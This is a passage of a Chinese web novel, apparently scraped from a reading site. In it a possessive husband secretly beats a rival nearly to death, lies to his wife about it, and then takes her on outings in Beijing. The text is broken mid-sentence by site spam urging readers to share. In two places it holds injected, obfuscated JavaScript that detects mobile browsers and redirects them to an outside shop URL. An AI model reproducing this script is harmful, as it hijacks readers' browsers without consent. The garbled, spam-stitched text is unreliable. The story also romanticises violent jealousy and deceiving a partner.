“你看小临，脑子都不痛了。”谢母声音里带着激动，“这么多年，哪次不是一发作就是痛苦难忍，真的不能让言昭过来帮帮忙吗？” 谢首长皱着眉，脸色沉着，“事情不是你想的那么简单，那可是顾煜。” 谢母一愣，语气里带着点不甘心，“顾煜怎么了，不过是个刚进单位的年轻人……” 话虽这样说，声音却明显低了几分，连她自己都没有底气。 谢首长冷哼了一声，目光沉沉地看过去，“年轻人？你什么时候变得这么看不清局势了。” 谢母被他这一句堵住，还是下意识转头看向沙发上的谢临，眼里全是心疼。 那是她唯一的儿子，这些年头痛反反复复，她看在眼里，急在心里，如今好不容易有点起色，她怎么可能不动心。 客厅里的空气一下子凝重起来。 谢临突然坐直，手里的手帕被他捏得发紧. 他看向父亲，语气平静地问道：“言昭只是他的童养媳吧？” 谢首长蹙眉问：“你还想干什么？两人虽然是包办婚姻，但顾煜这小子对这个媳妇很在意，你不要搞事。” 第65章 顾煜压着不爆的暴戾 后面的几天言昭发现顾煜真的没有再闹她。 她也能看得出来他很忙每天早出晚归。 言昭也就开始按部就班去上课。 白天她在教室听课晚上回来被顾煜按在桌前补一遍。 言昭整个人像是突然开窍了一样。 之前那些看不懂的内容被他拆开讲一遍她再做两道题就顺了。 她是从小学的内容开始补的这段时间已经跟到了初中的进度。 老师点名让她回答问题她也能站起来把步骤说清楚连她自己都觉得不可思议。 回家的路上她还忍不住在心里算觉得自己是不是天生读书的料。 结果等到初中的内容慢慢往后推她的速度明显慢了下来。 有些题目开始需要反复看。 有些公式记住了但不会用。 她第一次对着书皱起眉头坐了很久。 而言昭不知道的是此刻的顾煜正处在一种极度压着火气的状态里。 在言昭面前他依旧温和耐心讲题时语气低缓连水杯都会替她提前倒好可一走出家门那层温柔像是被彻底收起来。 单位的人最先察觉不对。 刚开始大家只是觉得顾煜性子冷话不多做事效率高得吓人可最近那种冷淡变了味。 他走进办公室的时候空气都会跟着压低几分。 周身的气息明显发沉像是压着什么情绪没人敢多问一句。 开会时有人汇报失误他连声音都没有提高只是抬眼看过去一秒那种目光锋利又冷厉像是能把人从里到外剖开坐在对面的人后背直接起了一层鸡皮疙瘩。 有人私下说顾工最近身上像是裹着一层黑雾。 不是发火。 是那种压着不爆的暴戾。 越安静越吓人。 尤其是那双眼睛情绪收得极深可一旦对视上寒意顺着脊背往上窜 顾煜忙完一天的工作天还没黑。 他把最后一份资料交代完跟团队的人简单说了一声先走了。 大家看着他离开等人走远了才松了一口气。 他没有直接回小洋楼而是拐了个方向去了筒子楼。 楼道里的灯还是昏黄的墙面斑驳脚步声在楼道里回响。 他走到熟悉的门口时门已经开着。 白策和白玲玲都在。 白玲玲一看到只有顾煜一个人眼神 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 明显亮了一下，又很快暗下去，忍不住往他身后看了一眼。 “昭昭姐没来啊。”她声音里带着点掩不住的失落。 白策倒是没什么表情，只是站在桌边，把一个小袋子放到桌上，然后从里面拿出一叠钱。 那是一沓一沓整整齐齐的现金。 白玲玲的眼睛又一下子亮了。 她也是没想到哥哥真的把言昭姐姐的房子买下来了？ 这不只是房子。 那是自己跟哥哥以后能落脚的地方。 是一个真正的家！ 顾煜点点头，把钱接过来，数了一遍说：“这个房子是你的了，手续什么等周末。” 白策点头。 他倒是不担心顾煜会带着钱跑了。 这也是自从白策做了那个主管，知道了顾煜身份后，他很肃然起敬！ 顾煜拿了钱，也没有回小洋楼。 他来到城外郊区。 夜色沉沉压下来，远离市区的灯火之后，整条路都安静得发冷。 自行车最终停在山间空地。 风从林子里穿出来，带着一点潮湿的凉意。 谢临已经在那里。 顾煜是真的没想到谢临会主动约自己单独见面。 他本来还在想，这个敢靠近昭昭的垃圾，该用什么方式处理。 是弄死他，还是弄死他？ 结果人自己送上门，是挺省事的。 顾煜慢慢走过去，脸上没有怒意，只是那双眼睛阴冷得发暗。 那种冷不是外露的暴躁，而是压在皮肤之下的阴湿戾气。 谢临看着他，“你来得真慢。” 顾煜轻轻笑了一下。 那笑意黏在唇角，带着一点阴鸷的意味。 夜风压着山林，空气里带着潮湿的凉意，两个人之间的气氛已经绷到极点。 谢临终于开口，语气平静得近乎冷漠，“我不喜欢言昭，我只是想触碰她，你……” 话音还没落下。 顾煜的拳头已经砸了过去。 没有任何犹豫。 拳风带着狠劲，直接砸在谢临脸上。 谢临被打得偏过头，脚下踉跄了一步，但没有倒下，本能地抬手去挡，下一秒顾煜已经逼近，抓住他的衣领猛地往后一掼。 两个人重重摔在地上。 尘土扬起。 顾煜的眼睛猩红得发暗，所有压在骨子里的情绪在这一刻彻底炸开，他骑在谢临身上，拳头一拳接着一拳砸下去， 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 动作狠得没有余地。 谢临试图反击可惜还是顾煜占了上风。 他压着谢临目光阴沉得像深夜的冷水脸上没有暴怒的表情反而冷得吓人。 “你也配。” 这三个字几乎是从喉咙里挤出来的。 谢临嘴角被打裂血顺着下颌往下淌却在这种狼狈中露出一点极淡的笑意那笑意让顾煜眼底的戾气更重下一拳几乎带着彻底压死对方的决心。 山间寂静被彻底打破只剩下拳头落下的闷响和两个人急促的呼吸声。 …… 晚上顾煜回来时言昭还趴在桌子上写草稿纸堆了一叠。 他站在她身后看了一会儿没有出声。 言昭自己先泄了气把笔一丢小声嘟囔了一句。 “学习好难啊。” 她还以为自己是天才呢。 顾煜俯下身在她脸颊上轻轻亲了一下。 他只觉得很软跟着没忍住又张开嘴咬了一口。 言昭小声惊呼手一下子捂住脸整张脸红得不像话。 “你干嘛。” 顾煜坐在旁边的椅子上手随意搭在她椅背上看着她笑眼神温和又宠溺“你现在进步已经很大了。” 他说话的语气很自然没有一点敷衍“一个月从小学补到初中你还想多快。” 言昭捂着脸没动耳朵红得发烫“真的吗？” 顾煜伸手把她的手从脸上拉下来指腹轻轻蹭了一下刚刚被他咬过的地方“别人从六岁开始学你从现在开始追还能追成这样你不厉害谁厉害。” 他说得很认真。 言昭看着他一下子说不出话来。 言昭看着他这副温柔又耐心的样子心里一下子软得不行那种被人认真放在心上的感觉慢慢涌上来一个月的辛苦好像一下子都值了。 她几乎没怎么想身体就先一步动了伸手从侧面抱住了顾煜脸贴在他胸口动作有点笨但很认真。 顾煜瞬间深吸了一口气喉结轻轻动了动也没有立刻回抱只是抬手在她背上轻轻按了一下。 这段时间他一直忍着。 不是不想。 是舍不得。 那天确实把昭昭折腾狠了他后来想起来都心里发紧再加上最近学习了这些方面的卫生健康知识太频繁本来就不好 所以这阵子他一直把分寸压得很死。 言昭抱着他没察觉这些 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 ，只觉得他身上暖得让人安心，小声说了一句：“我会努力学习。 顾煜这才低头看她，眼神彻底软下来，抬手把人轻轻圈进怀里，没有用力，只是让她靠得舒服一点。 “好。 言昭心里一热，抱着他的手下意识收紧了一点。 顾煜察觉到了，又深吸了一口气，抬手在她头顶揉了揉，“过两天我休息，我带你出去走走。 言昭点点头，说了一声好。 顾煜给她把水杯推过去，又把书翻到刚才那一页，语气温和地说先把这道题做完。 言昭眉头突然皱起来，“你身上有点土腥味，还有点脏，你是摔跤了吗？ 顾煜神色几乎是在一瞬间冷了一下，眼底那点沉色闪过又压下去。 等她抬头看过来时，他已经恢复成平时那副温柔模样，语气轻松，“没有，可能是外面蹭到的。 他说得自然。 像是在讲一件再普通不过的小事。 可言昭已经凑近了，她伸手碰到他颈侧，指尖刚贴上去就顿住。 “你这怎么受伤了？ 她的声音一下子紧起来。 顾煜的脖子靠近锁骨的位置有一道擦破的痕迹，皮肤发红，还带着一点细碎的血丝。 他喉结轻轻动了一下，唇瓣动了动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他说话时语气平稳，甚至还伸手刮了一下她鼻尖，“你不是说学习难吗，怎么还有精力管我。” 言昭被他这一下逗得往后缩了缩，脸红了，“我就是问问。” 顾煜看着她那副认真又担心的模样，心里发紧，没有露出半分外面的锋利。 他顺势把她揽进怀里，动作轻得很，“我真没事，要是跟人打架，我还能站在这让你给我上药？而且我是会打架的人吗？” 言昭被他说得有点动摇，抬头看他，“真的？” 顾煜笑了一下，低头在她额头上亲了一下，“骗你做什么。” 他声音温和，眼神软得不像刚才山间那个压着戾气的人。 言昭这才慢慢松了口气。 想着也是，顾煜怎么可能会跟别人打架呢。 顾煜看着她彻底放下心来，手指在她后背轻轻顺了一下，心里却愈发冷得发沉。 …… 而另一边的医院里，气氛压得人喘不过气。 谢临躺在病床上，浑身缠着绷带，脸色苍白，连呼吸都显得很轻，整个人几乎不能动。 谢母坐在旁边，一边抹眼泪一边看着他，眼睛红得不像话。 病房门被推开，有人走了进来，她立刻站起来迎过去，声音里全是急切，“那个犯人还没找到吗，我儿子都伤成这样了，差点连命都没了。” 来的人是负责调查的干部，他被问得一顿，脸上的神情有些为难。 他叹了一口气。 现场没有打斗痕迹。 也没有可疑人员出现。 所有的迹象都指向可能是谢临自虐。 可这个结果他说不出口。 更何况现在谢临伤得这么重，人还躺在病床上动弹不得，这种话一旦说出来，整个谢家都要炸。 “夫人，还在查。”他只能这样回答，“有些情况需要再确认。” 谢母一听就更急了，“还要查什么，人都被害成这样了。” 病床上一直闭着眼的谢临，手指在被子里轻轻动了一下。 他其实是醒着的。 只是没有睁眼。 第66章 那当然是美好的约好啦 谢临被揍得不轻。 人送到医院的时候几乎昏迷脸部骨裂肋骨也断了两根医生说再偏一点就会伤到内脏情况一度危险。 这件事很快传开。 最开始只是私下议论。 后来就变成了必须要查清的严重事件。 有人开始把目光放到顾煜身上。 最近顾煜身上那种压不住的冷戾气息让这种猜测几乎顺理成章。 第二天顾煜照常来单位。 他神情平静像是什么都没发生过一样。 刚进办公室没多久就有人过来说领导让他过去一趟。 会议室里坐了好几个人。 气氛明显不对。 平时会寒暄两句的几位领导这次都没开口桌上的茶水放着没人动文件也摊开着却没有人翻。 顾煜走进去关门 “叫我什么事。” 语气一如既往的冷淡直接把沉默直接戳破。 几个人对视了一眼像是在想从哪里开口。 这种事不好问。 问重了伤关系问轻了又觉得软飘飘。 正当其中一位准备绕着话题先铺垫几句的时候。 顾煜已经先开口。 “人是我打的。” 声音不高语气平稳像是在陈述一件普通工作。 会议室里的空气瞬间凝住。 几个人的脸色同时变了。 原本准备好的那些试探和铺垫全都用不上。 有人下意识直起身子“顾煜这不是小事。” 顾煜站在那里没有一点慌乱“我知道。” 他甚至连解释都没有。 这种干脆反而让人更不知道该怎么接。 “你为什么动手。” 这句话问出来时语气已经严肃起来。 顾煜抬眼看过去唇角是嘲讽的笑“他要抢我老婆。” 这句话落下会议室里一下子安静了。 原本还绷着的气氛出现了一瞬间的停顿。 几个人下意识对视了一眼。 这件事的风声他们其实听到过一点对顾煜这句话自然是相信的反而让人一时不知道该怎么往下接。 抢别人爱人这种事本身就站不住。 不管放在哪个年代、哪个单位都是一件很不道德的事情。 沉默维持了几秒还是有人忍不住开口。 那人和谢首长私下关系一向不 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 错，说话时语气明显带着为难和调和的意思：“就算是这样……也不至于把人打成那样啊。” 这句话一出来，顾煜这才慢慢抬起眼。 他笑了一下。 那笑意贴在唇角，带着一点阴湿的凉意，像是从骨子里渗出来的，眼底里面也没有半点温度。 整个人站在那里，气息沉得发暗，像是把所有情绪都压进了最深处，只剩下一层阴鸷的壳。 “是他自己约我过去。”他微微歪了一下头，“我没把他揍死，已经是看在你们的份上。” 会议室里再次陷入沉默。 几个人互相看了一眼，谁都没有再把话往下追，这件事就这么被压了下来。 顾煜见他们不再开口，也没有多停留，神情变得温和起来，点了一下头，转身离开了办公室。 门关上的一瞬间，里面的气氛才松动一点。 有人靠在椅背上，低声说了一句：“要不要安排个精神科或者心理医生过来给他看看，我怕他又犯病了。” 这句话刚落下，还没等人接话，会议室的门就被敲响了。 “进。” 门被推开，一个穿着白大褂的人快步走了进来，是王博士。 他神色激动，连平时的沉稳都顾不上了，“顾工在吗？顾工刚刚是不是过来过？” 屋里的人一愣。 王博士完全没注意他们的表情，语气带着明显的兴奋，“顾工对芯片核心算法的那套新推演出来了，模型已经跑通了，数据比我们之前预估的还要稳定，良品率有可能直接翻一倍！” 这句话一出来，刚才还压着的气氛瞬间变了。 几个人的表情同时一震。 “你说什么？” 王博士把手里的文件往桌上一放，整个人因为激动声音都有点发抖，“我们卡了半年那个节点，被他昨晚一个人改掉了，今天早上测试结果出来，全部通过。” 会议室里安静了一秒。 刚才那个提议要找心理医生的人，话卡在喉咙里，彻底说不出来了。 就算是精神病，那也是个天才的发明家。 …… 言昭把钱一张一张摊在桌子上。 有以前顾煜塞给她的那一沓。 有卖掉老房子换来的。 还有她卖方子得来的。 零零整整全部堆在一起。 她数了第三遍。 七千块。 现在言昭的手指都在发热，她目光几乎挪不开。 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 七千。 上辈子她总听人说什么万元户，说谁家要是有一万块，走路都带风，街坊邻居看见都要多瞧两眼。 那时候她听着只是觉得遥远。 没想到现在自己桌子上就摆着这么一大堆钱。 而且全都在她这。 顾煜那一分都没留，全给了她。 言昭胸口一阵发紧，激动得几乎想站起来喊一声。 嘴巴都张开了一点。 又被她硬生生忍住。 她猛地把钱往怀里拢了一下，下意识往门口看，确认窗子关着，门也锁好了，才又重新坐回来。 不能让别人知道。 这么多钱。 要是传出去，谁知道会惹出什么事。 她深吸了两口气，努力让自己冷静下来，可嘴角还是忍不住往上翘。 可她还是忍不住伸手摸了一下那一沓钱，指尖都在发颤。 言昭本来还想继续把刚才那道题做完。 可书刚翻开，她就忍不住打了个哈欠。 眼皮发沉。 最近晚上两个人虽然没闹得像之前那么狠，可那种亲密还是有的，被顾煜抱在怀里哄着，亲一亲，闹一闹，她嘴上说不要，身体已经在不知不觉中习惯了那种贴在一起的温度。 以前在乡下听那些婶子说荤话的时候，她还红着脸觉得夸张。 现在才知道。 是真的。 这种事情只要尝过一次，尤其是和自己喜欢的人在一起，就会惦记。 白天看书的时候会想起他低头靠过来的样子。 晚上躺在床上又会不自觉往他那边靠。 言昭想到这里，自己先红了脸。 她赶紧晃了晃脑袋，把那些画面甩出去，小声嘀咕了一句不许想了，然后把书往前拉近一点。 她重新坐直身子，拿起笔，在本子上写下题目。 心里还是喜滋滋的。 那种日子一点点变好的踏实感，混着一点小小的甜，让她整个人都轻快起来。 …… 转眼到了顾煜休息的那天。 他早就发现言昭最近有点不对劲。 两个人亲近的时候，她明明被他亲得眼睛都湿了，下一秒就会突然笑出声来，整个人埋在他怀里偷乐。 问她在笑什么。 她又不说。 而顾煜不用想都知道，是那七千块钱。 顾煜索性趁着休息，把人直接带去了银行。 等从窗 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 口办完手续出来他手里多了一个小小的存折。 言昭翻开看着上面工整的数字眼睛都睁大了“那么多钱……就变成这一行字了？”她忍不住问：“这钱他们会不会拿走花光不给咱们啊？” 两个人刚从银行大厅走出来她这句话说得太真情实感周围路过的人都忍不住看了一眼。 顾煜低笑了一声牵住她的手先把人带到人少的地方。 “当然安全。”他语气耐心：“这是国家开的银行钱放在这里比放在家里安全得多。而且还有利息。” 言昭听见国家开的她抱着存折整个人都兴奋起来又不敢太表现出来只能拼命抿着嘴笑。 顾煜看她那副样子眼神软得不像话伸手在她头上揉了一下“现在可以不用每天惦记柜子里的钱了。” 言昭脸一红小声嘟囔“我哪有。” 顾煜这一次没有像往常一样带她去百货大楼。 他牵着她的手拐进了一家洋人开的甜品店。 玻璃橱窗里摆着奶油蛋糕和小点心空气里都是甜味。 言昭坐下来时还有点不真实她抱着存折整个人都轻飘飘的 顾煜点了两份蛋糕又给她要了一杯热牛奶。 他坐在她对面后来又挪到她身边单手撑着脑袋看她眼神温柔得像是要把人化开。 言昭被他看得脸发热低头去戳盘子里的小叉子。 她本来不想在这么好的气氛里提起别的事。 可那点疑问还是压不住。 她小声开口“顾城跟李玲……你知道他们去哪了吗？” 话音刚落。 顾煜脸上的笑意停了一瞬。 眼神开始冷得发湿像是有一层阴沉的潮气从他眼底慢慢漫上来。 刚才还温柔的眸子瞬间暗了下去笑意虽然还挂在唇角可眼神已经冷得没有温度整个人的气息像是被什么东西压住湿冷又阴鸷。 言昭一下子察觉到了。 她的心脏猛地一紧。 身体几乎是本能地往后靠了一点。 手里的叉子停在半空。 顾煜看着她这个动作眼底那层阴沉停了一瞬。 然后又被他生生压了下去。 他伸手把她面前的牛奶往她那边推了推语气重新变得温和“怎么突然问他们？” 声音还是轻的。 像刚才那一下冷意根本不存在。 言昭松口气 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 ，觉得可能是自己的错觉，她抿了抿唇，小声说，“就……很久没见到了。 其实她是担心这两人会不会又要冒出来，到自己面前来。 顾煜看着她，指尖在桌面上轻轻点了一下，然后慢慢勾起一点笑意。 那笑意恢复了温度。 “他们有自己的安排。 他说得很平静，又伸手把她面前的蛋糕切了一小块递过去，“今天不说他们，是这个蛋糕不好吃吗？要不要再买点其他的？ 言昭赶紧摇头，说：“这个很好吃，不用再买。 顾煜伸手在她头上揉了一下，语气低低的，“吃完我带你去看电影。 画面一转。 远离城区的山林深处，一条被铁丝网封锁的小路尽头，矗立着一栋灰白色的建筑。 那不是普通医院。 是一处被刻意隔离出来的实验感染中心。 四周高墙围起，墙顶布满了探照灯。 入口处是双层消毒通道，厚重的金属门每次开启都要经过数道验证。 空气里常年弥漫着消毒水和药剂混合的味道。 连风吹进来都带着冷意。 走廊狭长，灯光惨白。 墙壁是完全密封的材质，每隔一段距离就有一道观察窗，窗后是独立隔离病房，里面的人穿着统一的病号服，手腕和脚踝都固定着监测仪器。 这里收治的不是普通病人。 是一些特殊的感染体。 一个隔离病房忽然传来一阵撞击声。 顾城被固定在病床上，整个人拼命挣扎，手腕和手背上密密麻麻全是针眼，青紫一片，输液管被他扯得来回晃动，他声音嘶哑地大喊：“我要出去！我没病！你们听见没有，我没病！ 他的情绪已经失控，额头青筋暴起，喉咙都喊得发破，身体因为用力过度带着轻微的抽搐。 旁边的床上，李玲也在。 她没有被完全固定，只是被束缚在活动范围内，头发凌乱，眼神空洞又发直。 听到顾城的声音，她猛地转过头。 下一秒整个人扑了过去。 她的动作又急又狠，像是早就压着的情绪突然爆开，直接扑到顾城身上撕咬，“都是你！都是你！要不是你，我怎么会在这里！ 她的指甲抓在他脸上，留下几道血痕，声音尖利得让人头皮发麻。 顾城被她扑得侧过头去，本能地想躲，却被束缚带勒住，只能更加疯狂地挣扎，“滚开！你这个疯子！ 你的朋友正在书荒，快去帮帮他吧 病房里的警报瞬间响起。 门外的医护人员冲进来，把李玲强行拉开。 她还在挣扎，嘴里不停地骂着，声音破碎又歇斯底里。 医护人员迅速打开门，把两人按住，然后注射了镇静剂。 两人的声音一点点低下去。 躺在床上的两人眼神依旧死死盯着天花板。 充满不甘。 也充满恐惧。 …… 这边顾煜把电影往后推了。 他牵着言昭的手，带她去了故宫。 红墙金瓦在阳光下铺展开来，一道道宫门连着深深的院落，视线几乎望不到头。 言昭一进门就愣住了。 她仰着头看着那高高的殿顶，眼睛都亮了，“皇帝的房子这么大吗？ 她站在空旷的广场上，转了一圈，又忍不住小声嘀咕，“他每天住这里，能走得完吗？ 走两步又问一句，“这么多屋子得多少人打扫啊？ “吃饭要从哪儿端过来？ “冬天不冷吗？ 她的问题一个接一个。 语气全是惊叹。 顾煜始终牵着她的手，步子放得很慢，一边走一边给她讲。 从三大殿的用途讲到后宫的分布，从御膳房的位置讲到宫女太监的等级。 他说话不急不缓，声音低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338035|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，内容特别清楚又细致。 连哪一条路是皇帝走的，哪一边是大臣站的，他都说得出来。 言昭听得眼睛都不眨。 越听越佩服。 她仰头看他，满脸崇拜，“你怎么什么都知道啊。 顾煜笑了一下，“书上看过。 言昭眼睛更亮了，“你也太厉害了。她说完又补了一句，“感觉你比讲解员还懂。 刚刚进来的时候有个讲解员，讲解竟然还需要钱，她当然舍不得。 顾煜被她夸得唇角压都压不住。 那种被她认真看着、全心依赖的感觉，比任何工作成果都让他心里发热。 他伸手在她头上轻轻揉了一下，“慢点走，小心台阶。 言昭却还在四处看，一会儿跑去看雕刻，一会儿又停在门槛前研究半天。 阳光落下来，她整个人都亮得不像话。 顾煜站在她身侧，看着她笑。 眼神软得没有一点棱角。 两个人走走停停，转过一道道宫门，等再抬头时天色已经暗下来。 远处的屋 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 檐被暮色压住，只剩下最后一点金色余光。 言昭还意犹未尽，站在台阶上往里面看，“这么大都没走完。” 顾煜笑了一下，“明天再来。” 言昭下意识皱了皱眉，“又要花钱买票了。” 顾煜侧过身，凑到她耳边低声说了一句，“我们进来没花钱。” 言昭愣了一下，“真的？” 顾煜点头，语气轻松，“你男人工作单位很好。” 言昭一下子就高兴了，眼睛亮得不行，连刚才那点心疼都没了。 顾煜看着她这副模样，心里软得不行，没忍住凑过去在她脸颊亲了一下。 言昭整个人僵了一瞬，脸“唰”地红了，慌忙左右看了一圈，确认没人注意到才松了口气。 她压低声音说，“你干嘛。” 顾煜笑得无辜，“你太可爱了。” 言昭抿着唇，心跳快得不行。 她现在已经知道国家严打流氓罪。 街上牵手都得看场合。 人多的时候两个人都规规矩矩地并排走。 顾煜最多走得近一点。 等走到人少的角落，他才会悄悄伸手去牵她。 指尖碰到的时候，言昭还是会紧张。 天色彻底暗下来。 顾煜带着她拐进了一家看起来很气派的中式餐厅。 门口挂着红灯笼，里面铺着厚地毯。 服务员领着他们一路往里走，最后停在一个宽敞的包厢门口。 门一推开。 里面只有一张大圆桌。 就他们两个人。 言昭一下子有点拘谨。 她左看看，右看看，连椅子都不敢随便坐。 “就我们两个？”她小声问。 顾煜点头，“嗯。” 他替她拉开椅子，让她坐下。 言昭还是有点不真实，这种地方她以前只在别人嘴里听过。 没多久，包厢门被敲了一下。 一个服务员推着小推车走进来。 车上摆着一整只刚出炉的烤鸭。 皮色金红。 油光发亮。 热气腾腾。 滋滋作响的声音几乎能听见。 空气里瞬间多了一股香味。 言昭眼睛都直了。 她忍不住咽了口口水。 服务员动作利落地开始片鸭。 刀锋落下。 薄薄的鸭皮卷着油脂分离出来。 听说看这本书的人都是很幸运的，分享后你的运气会更棒 一片一片整齐码在盘子里。 顾煜看着她那副馋得发亮的样子，唇角压不住地往上扬。 他把第一卷包好的鸭肉递到她嘴边，“尝尝。” 言昭脸一热，还是张嘴咬了一口。 下一秒眼睛亮得不行。 “好好吃。” 她说得真心实意。 顾煜笑着看她。 心情也跟着好起来。 言昭正低头认真啃着烤鸭。 她以为菜已经上完了。 结果服务员又轻轻敲门进来，把一本厚厚的菜单放在她面前。 言昭愣了一下。 她现在已经认识字了，把菜单翻开第一反应就是去找价格。 视线在每一道菜名后面扫过去。 她又往后翻了一页。 整本菜单干干净净，只有菜名和配图，没有价格。 言昭一下子紧张起来，小声问顾煜，“这个怎么没有价钱啊。” 顾煜正在给她卷鸭肉，闻言笑了一下，把卷好的递到她手里，“今天我们是来吃饭的，不是来算账的。” 言昭还是有点不放心。 顾煜看着她那副小心翼翼的样子，语气低下来，“昭昭。” 她抬头。 他慢慢说，“你可以想一下存折上的钱。” 言昭的脑子里立刻浮现出那一串数字。 刚才那点心疼瞬间没了。 整个人都轻松下来。 她抿着嘴笑了一下，又低头去看菜单，这次不再去找价格，而是认真挑自己想吃的菜。 “这个看起来好像很好吃。” “这个是什么做的。” 她一边翻一边问。 顾煜就坐在旁边，耐心地给她解释。 两个人慢慢吃完后。 言昭靠在椅背上，摸了摸自己的肚子，脸上全是满足。 “太好吃了。” 她小声感叹了一句。 顾煜看着她那副开心的样子，眼神温柔得不行，伸手替她把唇角沾着的一点酱汁擦掉，“下次再带你来。” 言昭点头。 两个人起身往外走。 包厢门一开，外面的走廊明显热闹得多。 等走到大厅，言昭才发现门口已经排起了长队。 一排人站在外面，手里拿着号，等着进去。 有人伸长脖子往里看，有人低声议论，说今天运气不好要等这么久。 言昭愣住了。 “这么多人啊。” 她下意识往后退了一步。 顾煜站在她身侧，自然地伸手护在她肩后，把她挡在自己身前，带着她往外走。 排队的人看到他们从里面出来，目光都投过来。 有人低声说了一句，“两个人就用一个包厢，还真的是有钱人呀。” 言昭脸有点热，脚步都变快了。 顾煜的手轻轻扶着她的背，替她隔开旁边的人流。 直到走出餐厅，夜风吹过来，她才松了一口气。 “原来这么多人来吃。” 她还有点后知后觉。 顾煜低头看她，“好吃的地方，人自然多。” 他说着，又顺手把她被风吹乱的头发别到耳后。 第67章 颈脖就被顾煜掐住 电影散场的时候天已经彻底黑了。 这一场没有上次那部精彩情节有点慢可言昭还是看得津津有味散场出来还在跟顾煜小声说刚才那个桥段。 话还没说完外面突然一阵闷雷。 紧接着大雨倾盆而下。 雨点砸在地面上溅起一片水雾。 两个人只能退到屋檐下。 檐角的水连成一条线往下落街上的人四处躲雨乱成一片。 顾煜站在那里他看了一眼雨势像是在估算什么时候会停。 言昭却一下子着急起来。 “我们家门没关吧。”她越想越慌“窗户好像也没插 顾煜听着她一连串的担心忍不住笑了一下。 他把她往里侧拉了拉避开被风吹进来的雨点“小区门口不是有人站岗吗。这要是能偷进去那人会牢底坐穿。” 言昭想想也是。 那种地方进出都要登记。 她这才松了口气。 雨还在下。 夜色被水汽打得模糊。 两个人并排站在屋檐下。 顾煜看她头发被打湿了一点伸手替她把发尾拢到身后。 言昭靠得更近了一点。街灯映着雨幕整条街像是被水雾包起来她忽然觉得就这样站着也挺好。 顾煜低头看她“冷不冷。” 言昭摇头可当他握住她的指尖时还是察觉到那点凉意。 他把她的手整个包进掌心“这里离我实验室不远我带你过去。” 言昭听到这三个字整个人下意识紧张了一下。 她小声问了一句“我……能去吗？” 顾煜看着她眼里带着笑语气低而温和“我能在的地方你就能去。” 这句话说得很自然像是在讲一件理所当然的事。 言昭心口一下子热起来刚才那点紧张也没了。 两个人冒着雨一路小跑过去拐进一条不太起眼的小路上了楼。 她一直觉得实验室是个特别厉害的地方。 门推开之后言昭又惊讶到了。 屋子不大干干净净一张长桌上面摆着几台她完全看不懂的机器旁边是资料柜和书架墙上贴着一些写满公式和图线的纸除此之外竟然还有一张收拾得整整齐齐的床。 不是临时搭的床而是一张正正经经铺着被子的单人床枕头叠得方方正正。 听说看这本书的人都是很幸运的，分享后你的运气会更棒 言昭先是觉得和自己想象里的完全不一样，然后目光就不受控制地落在那张床上。 心里那点刚才还暖着的情绪忽然拧了一下，说不出来的别扭慢慢冒出来。 顾煜是不是经常住在这里。 那这个地方算什么。 是他在外面的另一个家吗。 这个念头一出来，她自己都吓了一跳，手指下意识攥在一起，连视线都不太敢再往那边看。 顾煜关上门，转过身就看到她站在那里不说话，眼神明显不对。 “怎么了。” 言昭抿了抿唇，声音有点小，像是在努力让自己听起来不在意，“你平时……在这里睡吗。” 顾煜顺着她的目光看过去，看到那张床的时候就明白她在想什么了。 他走到她面前，伸手把她有点湿的头发拨到耳后，语气很轻，“这是值班的时候用的，有时候工作忙起来，回不去的时候，就在这里眯一会儿。这里平时就我一个人，而且我也很久没过来了。” 言昭脸一下子热起来。 刚才那点说不出口的别扭被他直接点破，她反倒有点不好意思，视线躲了一下，“好嘛……” 顾煜看着她那副心虚的样子，眼神软得不像话。 他低头在她额头上轻轻亲了一下，“你现在越发在意我了，我很高兴。” 这一晚上两个人就在这里凑合着睡下了，那张单人床本来就不大，顾煜躺上去之后几乎没剩多少位置。 言昭被他拉过去的时候还有点不好意思，可等被子一盖，两个人贴在一起，她反而笑了出来。 这种挤在一张小床上的感觉，让她一下子想起刚来京市那会儿。 两个人什么都没有，也是这样靠在一起睡觉。 顾煜把人抱进怀里，手臂收得很紧，下巴抵在她发顶，呼吸慢慢沉下来。 言昭本来还想说话，可听着他的心跳声，没一会儿就睡着了。 第二天一早天还没亮透，门外就传来钥匙转动的声音。 门被推开的瞬间，两个人都还没醒。 进来的人刚迈进来一步，视线落到床上，整个人像是被雷劈了一样僵住。 床不大，被子鼓鼓的，两个人抱在一起睡得正沉，言昭的脸埋在顾煜怀里，顾煜一只手还搭在她腰上。 那人猛地倒吸一口气，反应过来之后立刻抬手把眼睛捂住，转身就往外退，脚步都乱了。 “顾教授对不起！我什么都没看到！” 门“砰” 你的朋友正在书荒，快去帮帮他吧 地一声被他从外面关上。 这一声动静不小。 顾煜先醒过来，眉头皱了一下，低头看了一眼还窝在自己怀里睡得迷迷糊糊的言昭，眼神一下子软下来。 言昭被那声关门声吵到，蹭了蹭他的胸口，小声问了一句，“几点了…… 顾煜抬手在她背上拍了拍，“还早，再睡一会儿。 门外却已经有人压低声音在慌乱解释。 “我真不知道顾教授在里面…… “你敲门了吗你就开！ “我以为没人啊！ 顾煜听着外面的动静，他只低头在言昭额头上轻轻亲了一下，把被子往她身上又拉了拉。 